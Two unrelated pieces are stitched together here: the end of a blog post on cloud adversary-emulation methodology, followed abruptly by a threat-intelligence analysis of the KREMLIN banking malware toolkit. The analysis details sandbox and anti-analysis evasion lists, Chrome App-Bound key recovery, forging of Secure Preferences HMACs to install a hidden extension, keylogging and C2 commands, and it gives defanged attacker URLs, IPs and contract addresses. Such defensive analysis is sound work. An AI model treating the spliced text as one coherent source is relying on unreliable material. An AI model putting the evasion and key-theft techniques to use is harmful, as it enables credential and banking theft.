Engineers still decide whether the scenario is realistic, whether assumptions are sound, whether existing coverage is truly equivalent, which behavior is worth detecting, whether a resulting detection helps customers, and whether the emulation stayed faithful to the original threat. We still strongly believe in human-in-the-loop (HITL) value no matter how much you want to flex new models and tokenmaxxing.

The split between automated work and engineer judgment matters. The goal is not to replace threat-informed practice with vibes, and it is not to remove the practitioner. The goal is to make the methodology repeatable in cloud at the pace the problem demands, so human time goes into realism, judgment, and detection quality.

What's next in Part 2

If you made it this far, here’s the important meat between our memes

• Start with the question, not the tool. Define what you are trying to prove first.

• Pick the right scope. Atomic, micro, or full depending on the question.

• Threat model before execution. Know the adversary objective and source assumptions.

• Model the victim too. Resources, controls, identities, and network paths matter.

• Start from a believable foothold. Avoid defaulting to admin access.

• IAM progression matters. Use only the permissions available at each stage.

• Respect dependencies. Earlier actions should realistically unlock later ones.

• Failures are useful. Denied or blocked actions can produce valuable telemetry.

• Build disposable labs. Make provisioning, isolation, and teardown repeatable.

• Tag every run. Unique identifiers simplify telemetry and cleanup.

• Track attacker-created resources. IaC will not know about every artifact created during execution.

• Cleanup is part of the exercise. Remove leftovers and verify the environment is clean.

• Context beats API spam. Define the actor, target, prerequisites, and expected result.

• Cloud timing matters. Account for propagation, readiness, and log delays.

• Telemetry is an output. Verify what actually lands in the logs.

• Missing telemetry is a finding. Invisible or incomplete behavior still teaches you something.

• Trust the real event. Do not build detections from remembered field names.

• Test coverage against the exercise. ATT&CK mappings alone do not prove detection.

• A firing rule can still be weak coverage. Make sure it fired for the intended reason.

• Not every gap needs a rule. Sometimes the answer is a tune, hunt, logging change, or more research.

• Document the reasoning. Preserve assumptions, identity progression, failures, telemetry, and outcomes.

• Treat the lab like a state machine. Run from known-good states and avoid contaminated environments.

• Automate the repetitive work. Research, provisioning, execution, telemetry checks, and cleanup can all benefit.

• Keep human judgment in the loop. Engineers still own realism, value, and detection quality.

• The plan is the durable artifact. Tools change; the methodology and reasoning are what you reuse.

What Part 2 covers: agents running the emulation lifecycle

Part 2 is where this stops being a methodology post. Agents, skills, and concrete runs: turn a research post or rule into a lab, verify what landed in the logs, triage coverage, tear it down. Same lifecycle. Less theory.

Emulate responsibly!

References

• MITRE Center for Threat-Informed Defense: Adversary Emulation Library

• CTID Adversary Emulation Library overview

• TryHackMe / community notes: Intro to Threat Emulation

• Red Canary Atomic Red Team

Key takeaways

• The KREMLIN malware ecosystem employs multi-stage JavaScript loaders, custom C++ installers, and malicious browser extensions to steal credentials, session tokens, and sensitive data.

• Attacker infrastructure leverages Ethereum smart contracts as dead-drop resolvers to dynamically update C2 endpoints and payload hosting locations.

• Malicious browser extensions bypass Chromium integrity mechanisms by manipulating Secure Preferences and regenerating required HMACs and App-Bound encrypted hashes.

• Campaign artifacts, naming conventions, and transaction patterns indicate a primary targeting focus on Brazilian banking users and financial institutions.

• Threat Command temporarily disrupted over 1,500 (and counting) infections in this reported campaign by registering the network canary (kill switch) domain

KREMLIN JavaScript loader: multi-stage infection chain analysis

The KREMLIN infection chain begins with a JavaScript file masquerading as a banking, invoice, or company document, which the user manually executes. The payload is a slightly obfuscated multi-stage loader that first checks whether the script is running in a sandbox or virtual machine. It then downloads and installs malicious binaries from several sources before executing the next binary stage.

For this analysis, we examine the following script: 106eac79396a3ff77b8f375c391260ce422be2ae4d55d3aa75b2635cbdc0fa42.

The obfuscation is fairly basic: function names are replaced with generic identifiers (e.g itemXX), strings are retrieved from a lookup table by index, and object methods are called using bracket notation with string keys. However, we can easily deobfuscate this script using an LLM.

First stage: sandbox evasion and Node.js runtime download

The first stage displays an error message to make the user believe that the lure failed to open. It then checks whether it is running in a sandbox, decodes and extracts the next JavaScript stage using certutil, downloads Node.js to execute it, and finally beacons to one of its C2 servers.

To display the error message, the malware creates another JavaScript file that invokes shell.Popup and then deletes itself. The file follows the naming pattern popup_{date}_{random}.js and provides a useful pivot for finding additional first-stage samples (e.g., 5ece7fd3766b0b7f8aadefa562313cea6c3c94f9398658dd389910e5be44f552).

The sandbox-detection heuristic consists of two checks. First, it counts the files on the user's desktop. Second, it uses a WMI query to count the processes running on the machine. If there are fewer than five files or fewer than 50 processes, the malware assumes it is running in a sandbox and aborts execution.

Before terminating, the loader contacts its infrastructure through the /api/log_loader?hash= API endpoint, passing the campaign ID. In this sample, the URL is hxxps://connection[.]upgradeonline[.]site.

Second stage: persistence and the Ethereum dead drop resolver

The second stage runs four steps:

1. Installs persistence through a scheduled task extracted from an embedded CAB archive.

2. Retrieves download locations from an Ethereum smart contract.

3. Downloads the required binaries from those locations.

4. Executes the third stage.

Execution begins by establishing persistence. The script extracts an embedded CAB archive containing a scheduled task. One minute after the user logs on, the task instructs Windows to run conhost.exe --headless node.exe from the directory containing the malicious script. It is registered as MicrosoftNodeRuntimeUpdater with the description "Node.js V8 Runtime is the JavaScript engine responsible for compiling and executing Node.js applications using Google's high-performance V8 engine.", making it appear legitimate at first glance.

It then retrieves its configuration from the Ethereum smart contract at 0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b by querying three parameters:

• main-v2: The URL of the main module.

• sub-module: The URL of a JPEG carrier containing a .NET process-injection kit (RunPE), though this was not observed in use here.

• sentinel: The URL of a JPEG carrier holding a CAB file, which contains a SentinelOne binary used to sideload the malware.

The payload-hosting infrastructure combines attacker-controlled domains with abuse of the public Archive.org service. The main payload is encoded as a reversed Base64 string (base64.b64decode(payload[::-1])). The JPEG carriers’ payloads are Base64-encoded and delimited by start- and end-of-file markers.

At the time of the analysis, the payload URLs were as follows:

Module

Smart contract parameter

URL

Malicious browser extension installer payload

main-v2

hxxps://granderevolucao[.]store/5c92d3b8734b4f498752f735a1ca0987/{campaignId}

.NET PE Injector

sub-module

hxxps://archive[.]org/download/hotelmoskva/hotelmoskva.jpg

SentinelMemoryScanner.exe: legit SentinelOne binary for side-loading

sentinel

hxxps://ia601808[.]us[.]archive[.]org/5/items/sentinel_20260722_0435/Sentinel.jpg

After the modules download and the CAB archive extracts, the files in the installation directory specified by items.json are replaced. This file is included in the CAB archive containing the SentinelOne binary, providing the malware with an update mechanism. After the process completes, SentinelMemoryScanner.exe executes.

KREMLIN malicious browser extension installer analysis

KREMLIN's main binary is a 2.10 MB program written in C++ and compiled for x64, designed to install malicious browser extensions. It appears to be under active development and is not obfuscated. It is statically linked against numerous libraries, accounting for its large size. Only some strings are encrypted for unknown reasons, and the malware uses indirect syscalls to interact with the kernel.  Despite its extensive infrastructure, KREMLIN shows several signs of immaturity compared with modern malware. Its overreliance on open-source libraries significantly bloats the binary, while string and API obfuscation appears to be applied manually rather than through automated tooling. Debug strings remain, and both the installer and the malicious extension enable debugging.

For this analysis, we examine the following binary: c8c38634dd44d7c6162c66174a6ee23ee404265125166e8d757681bdd66a4268.

KREMLIN string decryption algorithm

As noted at the beginning of this section, the malware encrypts only some of its strings. The binary appears to contain several versions of the decryption algorithm, but these are actually the same algorithm adapted to different string lengths rather than separate implementations for each string. The algorithm is shown in the following code snippet:

Indirect syscalls and SSN resolution from NTDLL

At startup, KREMLIN builds a map of API-name hashes to System Service Numbers (SSNs). Rather than parsing individual Nt* or Zw* stubs, it correlates ntdll.dll exports with the address-ordered RUNTIME_FUNCTION entries in the exception directory (.pdata). Because the syscall stubs in ntdll.dll are arranged in SSN order, KREMLIN can derive each SSN by counting the Zw* exports that precede the target syscall. We linked the malware to the open source PigSyscall library through a distinctive string in the GetSyscallNumber function. Although the string differs slightly, the function's behavior matches the implementation observed in the binary.

Once the table is initialized, the malware uses the target export hash to look up the corresponding SSN. It then issues the syscall through an existing syscall; ret sequence in ntdll.dll. If it finds no suitable sequence, it falls back to a hard-coded syscall stub embedded in the binary.

Malware side-loading and entrypoint

To execute the next stage, KREMLIN abuses the legitimate SentinelOne binary SentinelMemoryScanner.exe to sideload its unsigned main payload, which masquerades as SentinelAgentCore.dll. Symantec first documented this technique in Seedworm: Iran-Linked Hackers Breached Korean Electronics Maker.

Execution begins with creating the malware's primary worker thread. If the host process is SentinelMemoryScanner.exe, KREMLIN locates the internal LdrpLoaderLock critical section and the LdrpWorkInProgress global variable in ntdll.dll. By releasing the loader lock and clearing this variable, the malware bypasses loader synchronization and allows the new thread to start before DllMain returns. Under normal conditions, CreateThread can be called from DllMain, but the new thread's entry point does not execute until DLL initialization completes. Waiting for that thread from DllMain would therefore deadlock. A complete implementation of this technique is available in LdrLockLiberator.

Sandbox evasion and anti-VM checks

Like the JavaScript payload, the malware performs a series of checks to determine whether it is running in a virtual machine or sandbox. Interestingly, it makes no attempt to detect debugging or hooks. These checks examine the host process name, running processes, and the system's memory and disk properties. Most positive detections cause the malware to call the invalid address 0x1337, deliberately triggering an access violation, although it ignores some check results.

Running process checks for analysis and sandbox tools

The malware retrieves the list of running processes using ZwQuerySystemInformation, then searches it for process names associated with sandboxing software and security analysis tools. The full list is shown below.

Sandbox: powershell.exe, malware.exe, sandbox.exe, bot.exe, test.exe, myapp.exe, testapp.exe, joeboxcontrol.exe, joeboxserver.exe, proc_analyzer.exe, sysanalyzer.exe, sniff_hit.exe, fakenet.exe

Security tools: klavme.exe, ollydbg.exe, ollyice.exe, processhacker.exe, tcpview.exe, autoruns.exe, autorunsc.exe, filemon.exe, procmon.exe, regmon.exe, procexp.exe, idaq.exe, ida.exe, ida64.exe, idaq64.exe, immunitydebugger.exe, wireshark.exe, dumpcap.exe, hookexplorer.exe, importrec.exe, petools.exe, lordpe.exe, sysinspector.exe, systeminformer.exe, windbg.exe, resourcehacker.exe, x32dbg.exe, x64dbg.exe, fiddler.exe, httpdebugger.exe, cheatengine-i386.exe, cheatengine-x86_64.exe, cheatengine-x86_64-SSE4-AVX2.exe, frida-helper-32.exe, frida-helper-64.exe, ghidra.exe, radare2.exe, r2.exe, cutter.exe, dnspy.exe, dnspyex.exe, ilspy.exe, hxd.exe, detectiteasy.exe, dbgview64.exe

Username blacklist check

KREMLIN also compares the user's account name, retrieved through GetUserNameW, against a blacklist. The complete list of account names it checks for is shown below.

Account names: CurrentUser, Sandbox, Emily, HAPUBWS, HongLee, ITADMIN, Johnson, Miller, milozs, PeterWilson, timmy, sandbox, malware, maltest, testuser, virus, JohnDoe

CPU, RAM, and disk hardware checks

The malware also checks several properties related to the machine hardware. The machine must have more than 2 CPUs, and its RAM capacity must exceed 3 GB to pass the test. The malware also checks disk space; however, our sample discards the result, potentially due to conditional compilation.

Network canary check

In addition to its hardware and process checks, the malware performs a network canary check by attempting to download a page from the unregistered domain hxxp://www[.]creamp1eonlyfans[.]net. Because this domain should not return any content, a valid response likely indicates that a sandbox is simulating network connectivity. The malware then deliberately crashes.

VMware and VirtualBox artifact checks

The final check before the next stage searches for processes and files, including drivers and DLLs, associated with VMware and VirtualBox. Process detection resolves a PID for each targeted process name, while file existence is checked using ZwQueryAttributesFile. In the sample analyzed, however, the caller ignores the results of both checks for both products, possibly because of conditional compilation.

VMware processes: VGAuthService.exe, vmacthlp.exe, Vmwaretrat.exe, Vmwareuser.exe, vmtoolsd.exe

VMware files: vmhgfs.sys, vmmemctl.sys, vmmouse.sys, vmrawdsk.sys, vm3dgl.dll, vm3dver.dll, vmtray.dll, vmtoolshook.dll, vmmousever.dll, vmhgfs.dll, vmguestlib.dll, vmguestlibjava.dll, driversvmhgfs.dll, vmdum.dll

VirtualBox processes: VBoxService.exe, VBoxTray.exe

VirtualBox files: VBoxMouse.sys, VBoxGuest.sys, VBoxSF.sys, VBoxVideo.sys

Campaign tracking markers: customer ID and mutex

Once all checks have passed, the malware loads two strings: a customer ID that appears to identify the customer associated with the campaign under analysis, and a Portuguese string used as the mutex name. This suggests that the malware operators are distinct from its developers. Both strings can serve as reliable campaign-tracking markers.

Customer-id: 98d8049e-804f-11f1-b79f-ae3a8bb85d01

Mutex: ClarinhoQueSim-XEDA2O

Downloading the malicious browser extension

Before downloading the malicious extension, KREMLIN queries the same Ethereum smart contract used earlier, 0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b. The extension and main-v2 parameters returned volmira[.]site and zaviro[.]online, respectively. Notably, the main-v2 value was updated on August 13, 2026, after we retrieved the previous value while analyzing the JavaScript payload, indicating that the infrastructure is actively maintained.

After retrieving the domains, the malware queries hxxps://volmira[.]site/api/ext/version to obtain the extension version. The response contains a JSON object with the extension's version and ID:

Before downloading the archive, the malware checks whether the extension is already installed and, if so, compares the installed version with the version reported by the server. It downloads the extension only when no local installation is found, or the versions differ.

It then downloads the Chrome extension as a ZIP archive from the following URL, passing the Customer ID through the p query parameter: hxxps://volmira[.]site/api/ext?p=98d8049e-804f-11f1-b79f-ae3a8bb85d01.

How KREMLIN installs a Chrome extension without the Web Store

After downloading the extension, KREMLIN installs it in Chromium-based browsers, specifically Chrome and Edge.

To do so, KREMLIN uses a documented technique rarely observed in malware: it manually copies the extension into the browser's profile directories and registers it in the Secure Preferences file. Because Chromium protects these entries with cryptographic integrity checks, the malware must retrieve the required keys and regenerate the associated HMACs and encrypted hashes. Synacktiv describes this technique in detail in The Phantom Extension: Backdooring Chrome through Uncharted Pathways.

Before modifying the browser profile, KREMLIN waits until the browser is closed or the user has been inactive for at least two minutes, polling GetLastInputInfo. If the browser remains open, it force-terminates it with TerminateProcess. This likely prevents concurrent access to profile files while making the shutdown less noticeable. KREMLIN can then launch a fresh browser instance under a debugger to recover the App-Bound key.

Recovering Chrome's OSCrypt and App-Bound encryption keys

KREMLIN first retrieves Chrome's legacy OSCrypt key from %LOCALAPPDATA%\Google\Chrome\User Data\Local State. The DPAPI-protected key is stored as a Base64-encoded value in the os_crypt.encrypted_key field. After decoding it, the malware removes the five-byte DPAPI prefix and passes the remaining blob to the Windows API CryptUnprotectData. The malware can later use this legacy key to decrypt sensitive profile data during exfiltration.

To recover the newer App-Bound OSCrypt key, the malware launches the browser under a debugger with the --no-startup-window option. It then processes debug events until it receives a LOAD_DLL_DEBUG_EVENT and checks whether the loaded module is chrome.dll or msedge.dll.

Once the target module is loaded, KREMLIN scans its .rdata section for the string OSCrypt.AppBoundProvider.Decrypt.ResultCode. It then searches .text for a RIP-relative LEA instruction referencing that string. From this cross-reference, it applies additional byte-pattern matching to locate the key-buffer pointer, then uses ReadProcessMemory to read the key from the browser process.

The final value KREMLIN retrieves is a seed extracted from %PROGRAMFILES%\Google\Chrome\Application\<VERSION>\resources.pak. Chromium uses this seed to generate both legacy HMACs and newer encrypted hashes.

Finally, the ZIP archive containing the extension is extracted into each browser profile whose Secure Preferences file can be read.

To activate the extension, KREMLIN modifies the Secure Preferences file. It enables developer mode through extensions.ui.developer_mode and account_values.extensions.ui.developer_mode, then registers the extension under extensions.settings.<extension_id>. To satisfy Chromium's integrity checks, it updates protection.macs with both the legacy HMACs and the corresponding OSCrypt-encrypted SHA-256 hashes (*_encrypted_hash) for these preferences.

The following is an example of the modifications required to activate the malicious extension:

To generate these integrity values, KREMLIN uses the seed extracted from resources.pak to compute the legacy HMACs. On newer Chromium versions (>= 144), it also hashes this seed together with the relevant data, then encrypts the resulting digest using the OSCrypt key recovered from the debugged browser process.

Browser data exfiltration and session token theft

Once the extension is installed, KREMLIN begins exfiltrating browser data. For each browser profile, it adds the following files and directories to a ZIP archive:

KREMLIN also adds a keys.json file to the archive. It contains two OSCrypt keys: the v10 key retrieved from Local State and the v20 key recovered from browser memory during debugging. These keys allow later decryption of encrypted fields in the exfiltrated databases.

The ZIP archive is then encrypted with RC4 through the undocumented SystemFunction032 API, using the SHA-256 digest of the plaintext archive as the encryption key. The encrypted ZIP archive, Customer ID, and SHA-256 digest used as the RC4 key are sent to the following two C2 endpoints: hxxps://volmira[.]site//api/savecreds and hxxps://zaviro[.]online//api/v1/fingerprint. The following POST request was captured on our server:

KREMLIN malicious Chrome extension: capabilities and C2 protocol

The extension sample analyzed in this research has the following SHA-256 hash: 223be3f8648bf6998c4a58b972522e5fda8d9d0a57b4e163811930de66c3f7ca.

The extension consists of several JavaScript files and a manifest (manifest.json). It masquerades as legitimate software named AVSync and requests access to browser tabs, cookies, storage, and the webRequest API. Its functionality is split between a background service worker and two content scripts injected into every page the victim visits.

Unlike the loader, the extension's JavaScript code is unobfuscated and uses descriptive variable and function names. The configuration specifies the endpoint from which the extension retrieves its final C2 address. Like other KREMLIN components, it can use a smart contract for this purpose. The misspelling in the ENDPOINT_DINAMIC field name is particularly noteworthy and can serve as a pivot for identifying additional extension samples.

The extension first resolves its C2 endpoint using the URL or smart contract specified by ENDPOINT_DINAMIC. In the sample analyzed, it sends a request to hxxps://graph.checkeligibitily.workers[.]dev/x01aab878f25420380b3?op=98d8049e-804f-11f1-b79f-ae3a8bb85d01. The op parameter contains the same Customer ID embedded in the installer, linking both components to the same toolset. The endpoint returns the following response:

Before sending its first request to the C2 server, the script generates a victim identifier that it includes in subsequent communications. This identifier is persisted in the browser's storage.

After generating the victim identifier, the extension establishes a WebSocket connection to the C2 server through the /google_ws/ route. The identifier, extension version, and a tag are passed as query parameters. Once connected, the extension polls the C2 server once per second for the next command. The initial exchanges are shown below:

The extension supports the following commands:

Command ID

Name

Description

GSH01

Screenshot

Captures the selected or active tab then uploads the compressed image.

GAT01

Get tabs

Enumerates tabs, domains, and active state; uploads the list and returns it over WebSocket.

GCO01

Get cookies and storage

Steals cookies, sessionStorage, and localStorage from the selected or active tab.

GHI01

Get history

Collects up to 1,000 history entries from the previous 15 days. This likely fails because the manifest lacks the history permission.

GSO01

Get source

Extracts and uploads the full HTML source of the selected or active page.

INC01

Inject HTML

Downloads attacker-controlled HTML using scriptHash, substitutes dynamic variables, injects it into the page, and reports interactions through INJCLIST.

UPD01

Update config

Refreshes domain targeting, redirect, keylogging, request-body, and request-header interception rules.

Alongside its WebSocket channel, the extension periodically polls /google_api/ for configuration data controlling its interception and keylogging features. These requests masquerade as CSS file fetches, with each path mapped server-side to a specific configuration or command. For example, the interception configuration is retrieved from /google_api/81d47cb6.css.

The extension supports the following commands:

Endpoint ID

Name

Description

108766d0.css

Upload cookies and storage

Uploads LZ/Base64-compressed cookies, sessionStorage, localStorage, and page URL with the client ID.

41f7b187.css

Upload tabs

Uploads compressed tab IDs, domains, and active-tab state with the client ID.

b83fa72d.css

Upload history

Uploads compressed browser history from the previous 15 days with the client ID.

0f51ad2f.css

Upload screenshot

Uploads a compressed JPEG screenshot, page URL, and client ID.

e4cce14e.css

Upload page source

Uploads compressed full-page HTML, page URL, and client ID.

6c0c92f6.css

Upload intercepted request

Uploads the matching request URL and method, plus either the request body or request headers. Matching uses domain hash, URL substring, and HTTP method rules.

81d47cb6.css

Fetch targeting config

Sends the client ID and retrieves domain targeting, keylogging, redirect, and HTTP interception rules.

a98cb43d.css

Fetch redirect config

Sends the client ID and retrieves selector-based automatic redirect rules.

Across all communication channels, the client and server compress and Base64-encode exchanged data using the lz-string package.

The configuration retrieved from 81d47cb6.css contains a list of objects, each identifying a target domain by its MD5 hash. To exercise these features, we used an LLM to build a playground with forms and buttons that trigger the interception logic and expose the resulting server-side messages. For this test, we enabled keylogging by setting "b": 1 and configured the extension to intercept POST requests to /api/probe/checkout.

After retrieving this configuration, KREMLIN requests a98cb43d.css to obtain its redirection rules. Each object defines a target domain, an HTML element selector (such as a class or ID), an event type (such as click), and the destination URL.

Once the page has loaded, if keylogging is enabled for the domain (b = 1), the extension registers an input event listener on every <input> and <textarea> element. Whenever the user modifies one of these fields, such as by typing a message or password, the extension sends the captured data to the server. To capture dynamically added fields, it also uses a MutationObserver to monitor the DOM and attach the same listener to new <input> and <textarea> elements.

The demo below shows how we use our playground website to trigger the functionality injected by the malware. It captures the initialization of communication between the extension and the server, the polling messages ({'action': 'ping'}), and the resulting keylogging, request interception, and redirection behavior.

Brazilian banking malware campaigns and infrastructure

By correlating the identified files, relationships, and domains, we assess that the actors have been active since at least May-June 2025. Their operations include installing malicious browser extensions and distributing PULSAR and REMCOS RAT. Shared staging and C2 infrastructure across campaigns suggests that the same actors control the entire infection chain. Their TTPs gradually evolved until they emerged with a toolkit explicitly named KREMLIN. References to an author and version numbers may indicate broader, potentially open-source distribution, although we found no public trace of the toolkit on GitHub, GitLab, or social media.

The actors have used the Internet Archive to host payloads since the earliest observed campaigns. All identified uploads originate from the same account, Radduxx. The earliest file, output_image_202505.jpg, was uploaded on May 21, 2025, and masquerades as an image of the FC Barcelona team. We identified it as an early RunPE module executed through the command line rather than loaded as a DLL through PowerShell. This confirms that RunPE was already in use and distributed through the same JPEG-based packaging method. The associated metadata lists the uploader's email address as facebook-br@protonmail[.]com.

The table below summarizes the seven campaigns described in this section.

Campaign

Period

Customer ID

Execution chain

Payloads

Key infrastructure

Codecaudiog A

June 2025

991589b0-4cc9-11f0-b9f4-1402ec3d56f0

PowerShell → RunPE → Installer

Extension, DonutLoader, PULSAR 1.6.6 / 1.7.3

codecaudiog[.]site, codecvideowin[.]online, 185.221.23[.]133

Codecaudiog B

June 2025

f1d7b074-b81f-11ef-a763-1402ec3d56f0

JavaScript → Installer

Extension, PULSAR, or both

codecaudiog[.]site, codecvideowin[.]online, version.checkeligibitily.workers[.]dev

Acrobat

August 2025

618ec809-f08e-4068-a54c-654478811510

JavaScript → PowerShell → RunPE → DonutLoader

PULSAR 1.7.1 / 1.7.2, no extension

acrobat-updater[.]com, 144.172.112[.]239, 45.90.13[.]210

Framesync

September 2025

48502c50-a504-4811-aab8-ba978aeae237

Not recovered

Extension only (FrameSync Driver / Plugin)

lojinhadoluiz[.]online, orange-sun-195a.checkeligibitily.workers[.]dev

Donalurdesconfeitos to Cremeb

December 2025 to March 2026

991589b0-4cc9-11f0-b9f4-1402ec3d56f0, 48502c50-a504-4811-aab8-ba978aeae237

JavaScript → PowerShell → RunPE → Installer

Extension only

donalurdesconfeitos[.]site, marialurdes[.]site, harialurdes[.]site, cremeb[.]com

Cremeb

April 2026

48502c50-a504-4811-aab8-ba978aeae237

LNK → PowerShell → JavaScript (WSH) → JavaScript (Node.js) → RunPE → DLL installer

QR extension, PULSAR 2.4.5

cremeb[.]com, 37.16.74[.]100, 37.16.74[.]34

Ethereum transition

May 2026 to present

98d8049e-804f-11f1-b79f-ae3a8bb85d01

JavaScript → Node.js → RunPE → Installer, and SentinelOne sideload variant

Extension, REMCOS RAT

granderevolucao[.]store, volmira[.]site, zaviro[.]online, 178.92.162[.]38

Codecaudiog A campaign, June 2025: PULSAR RAT and extension delivery

The earliest campaign we observed dates back to June 16, 2025, based on the first VirusTotal submission of the Internet Archive URL pointing to the JPEG file containing the RunPE module. The JPEG itself was submitted the following day, on June 17. The execution chain is PowerShell -> RunPE -> Installer -> Malicious extension & DonutLoader -> PULSAR.  The campaign ID is 991589b0-4cc9-11f0-b9f4-1402ec3d56f0.

In this campaign, the loader downloads the installer from hxxps://codecaudiog[.]site/generate?domain=codecvideowin[.]online&payload=991589b0-4cc9-11f0-b9f4-1402ec3d56f0&prefix=NF&prefix_count=10&output=base64, while the RunPE module is retrieved from archive[.]org/download/caramelov/caramelov.jpg. The installer reproduces the complete malicious-extension installation process described in our KREMLIN analysis. It retrieves the extension ID from hxxps://codecvideowin[.]online/f9e95a1e1fa3f3aebfc802c6c8e6a2eb and downloads the extension archive from hxxps://codecvideowin[.]online/af15d5f?p=991589b0-4cc9-11f0-b9f4-1402ec3d56f0, establishing a direct lineage with KREMLIN.

In parallel, the installer delivers PULSAR through RC4-encoded DonutLoader shellcode injected into explorer.exe. Although we could not recover the extension itself, the configurations of PULSAR versions 1.6.6 and 1.7.3 reveal the tags ChromBallRat and Rat, and the C2 address 185.221.23[.]133, initially using port 4782 and later port 443.

The PowerShell loader retrieves the RunPE module from the Internet Archive, loads it as a .NET assembly using [System.Reflection.Assembly]::Load, and invokes its VAI method.

Earlier in our analysis, we did not examine the RunPE module in detail because the latest version executes the installer through DLL sideloading. In this older version of the RunPE module, the VAI method is only executing the payload via manual mapping and calling its entrypoint.

Codecaudiog B campaign, June 2025: three JavaScript loader variants

A second campaign ran concurrently with the first; we estimate it started on June 17, 2025, and used the Customer ID f1d7b074-b81f-11ef-a763-1402ec3d56f0. It followed the same TTPs and used two installer variants: one that deployed both the malicious extension and PULSAR, and another that installed only the extension, matching the sample examined in our main analysis.

The execution chain is JavaScript -> Installer, followed by PULSAR, the malicious extension, or both. We identified three JavaScript loader variants:

• Direct: Downloads the next stage directly from hxxps://codecaudiog[.]site/87b76a60ba7c474dbf8f689df2808e1a?payload=f1d7b074-b81f-11ef-a763-1402ec3d56f0.

• Internet Archive: Retrieves a text file hosted on the Internet Archive containing the URL of the next stage.

• Internet Archive with profiling: Performs the same retrieval process, but also profiles the host and sends the collected information to the next-stage URL.

The profiler loader collects the machine ID, the computer name, and the AV installed.

The installer contacts codecvideowin[.]online or version.checkeligibitily.workers[.]dev to download the malicious extension. We were unable to recover the extension archive. However, the PULSAR version and configuration match those observed in the previous campaign.

Acrobat campaign, August 2025: PULSAR RAT only, no extension

We estimate that this campaign began on August 14, 2025. It uses the following customer ID 618ec809-f08e-4068-a54c-654478811510. It follows the sequence JavaScript -> PowerShell -> RunPE -> DonutLoader and only delivers PULSAR versions 1.7.1 and 1.7.2, with no malicious extension.

As in the previous campaign, the user is tricked into downloading and executing a JavaScript file. In this case, the lure masquerades as an Adobe plugin distributed from acrobat-updater[.]com. The loader retrieves a domain list from an Internet Archive file named acrobat-updater.com.txt, then attempts to download the second stage from each domain through /5f109e7bb3df4dea81946f2f853da288. 

The second stage Base64-decodes the third-stage payload and executes it through PowerShell.

The third-stage PowerShell script downloads the final payload from hxxps://acrobat-updater[.]com/generate and retrieves the RunPE module from Internet Archive, concealed inside tragira.jpg. It then loads the RunPE assembly into the PowerShell process and invokes its VAI method.

In previous campaigns, RunPE was used only to manually map and execute the payload. In this version, it also establishes persistence by creating a Windows scheduled task. Based on the parameters passed by the third stage, the task is named AcrobatBrowserExtension and is triggered both at user logon and every 30 minutes. It downloads and executes a JavaScript payload from hxxps://acrobat-updater[.]com/api/v2/acrobat/latest, allowing the malware to reinstall or relaunch as needed.

In this campaign, the PULSAR payloads communicate with the following C2 endpoints: 144.172.112[.]239:4782 and 45.90.13[.]210:443.

Framesync campaign, September 2025: earliest recovered extensions

We estimate that this campaign began on September 2, 2025. We recovered only the malicious extensions, but their analysis confirms that they belong to the same family as the extension examined in our main analysis. Although these are earlier versions, they already implement the full feature set described previously. This establishes a direct link between the KREMLIN name and the toolkit used during this period. We assess that the toolkit may have been known as CHROMEBALLRAT at the time, based on the tag observed in PULSAR samples and its use in other JavaScript loaders.

These extensions masquerade as FrameSync Driver System V16.9.7 and FrameSync Plugin Project V1.19.16. The associated extension ID is djodclnjknbpambeaaapadmdfhmbpeog. Its configuration reports version 12.0.0 and contains the domain lojinhadoluiz[.]online and customer ID 48502c50-a504-4811-aab8-ba978aeae237.

This version contains no DINAMIC_HOST variable and does not use smart-contract-based resolution. The domain configured in ENDCENT is also unused. Instead, as in the recent version, the actual C2 endpoints are resolved dynamically by querying hxxps://orange-sun-195a.checkeligibitily.workers[.]dev, which returns separate WebSocket and HTTP endpoints for the two communication channels.

Donalurdesconfeitos to Cremeb campaign, December 2025: first KREMLIN branding

We estimate that this campaign began in December 2025. Between December and March, the actors migrated their infrastructure from donalurdesconfeitos[.]site to cremeb[.]com, using marialurdes[.]site and harialurdes[.]site as intermediate domains. This campaign marks the first observed use of the KREMLIN name and is associated with two customer IDs: 991589b0-4cc9-11f0-b9f4-1402ec3d56f0 and 48502c50-a504-4811-aab8-ba978aeae237.

In this campaign, we observed only the installer used to deploy the malicious extension. The execution chain is similar to those described previously: JavaScript -> PowerShell -> RunPE -> Installer -> Extension. We identified four loader variants based on how they decode the next stage:

• Reversed data

• Reverse, then Base64-decode

• Base64-decode, then reverse

• RC4-encrypted payload embedded in a JPEG carrier

The final loader variant is the most interesting. In some cases, we found it as a JSE file using Microsoft's proprietary JScript.Encode format. The loader contains a comment header identifying the malware as KREMLIN, crediting Kr3mlin4rt1st as its author, and specifying version 1.33, dated February 8, 2026. This is the earliest observed use of the full KREMLIN name and author attribution. The version and copyright information suggest that the script may have been distributed to other operators. However, we found no public trace of it on GitHub or GitLab; if shared, it was likely distributed through private or underground channels.

Unlike the other three variants, this loader retrieves its payload using the same JPEG carrier technique repeatedly observed across the KREMLIN toolkit. The embedded blob is located using the marker kremlin-moscow-russia and then decrypted with RC4 using the key kr3ml1n.

Cremeb campaign, April 2026: QR-code extension and Node.js loaders

Beginning in April 2026, we observed two concurrent campaigns using the Cremeb infrastructure and the Customer ID 48502c50-a504-4811-aab8-ba978aeae237. For the first campaign, we could not conclusively identify the initial loader. Its installer delivers PULSAR through DonutLoader alongside a new QR-themed malicious extension. The second campaign introduces the infection chain LNK -> PowerShell -> JavaScript (WSH) -> JavaScript (Node.js) -> RunPE -> DLL installer -> PULSAR & Extension. This is the earliest campaign in which we observed the loader downloading the Node.js runtime to execute the next stage, a behavior retained in the current version. Another significant change affects RunPE: rather than manually mapping the payload into its own process, it injects it into explorer.exe using Early Cascade Injection.

The QR-themed extension delivered by the first branch has the ID cdgcjghdeinagopbaobhmaefigoafaaa. It presents itself as a tool that displays an overlay containing a QR code generated from a supplied string. Clicking the extension icon opens a menu exposing exactly this functionality. During our tests, the overlay displayed a Portuguese message asking the user to reauthenticate with the current application, in this case our locally hosted playground, by scanning the QR code. The user-accessible menu suggests that a development interface was left exposed, further supporting the hypothesis of a rushed implementation.

Source-code analysis confirms that this extension relies on QR-based social engineering rather than data interception. When a user visits a page matching web.whatsapp.com or www.sicoob.com.br, the extension retrieves QR-code content from hxxps://cremeb[.]com/qrcode/api/v1/read?domain=${encodeURIComponent(domain)} and displays it in an overlay. The code is unobfuscated and contains patterns consistent with LLM generation, suggesting rushed development. We could not determine what the QR code encodes, but it likely facilitates account compromise on the targeted services.

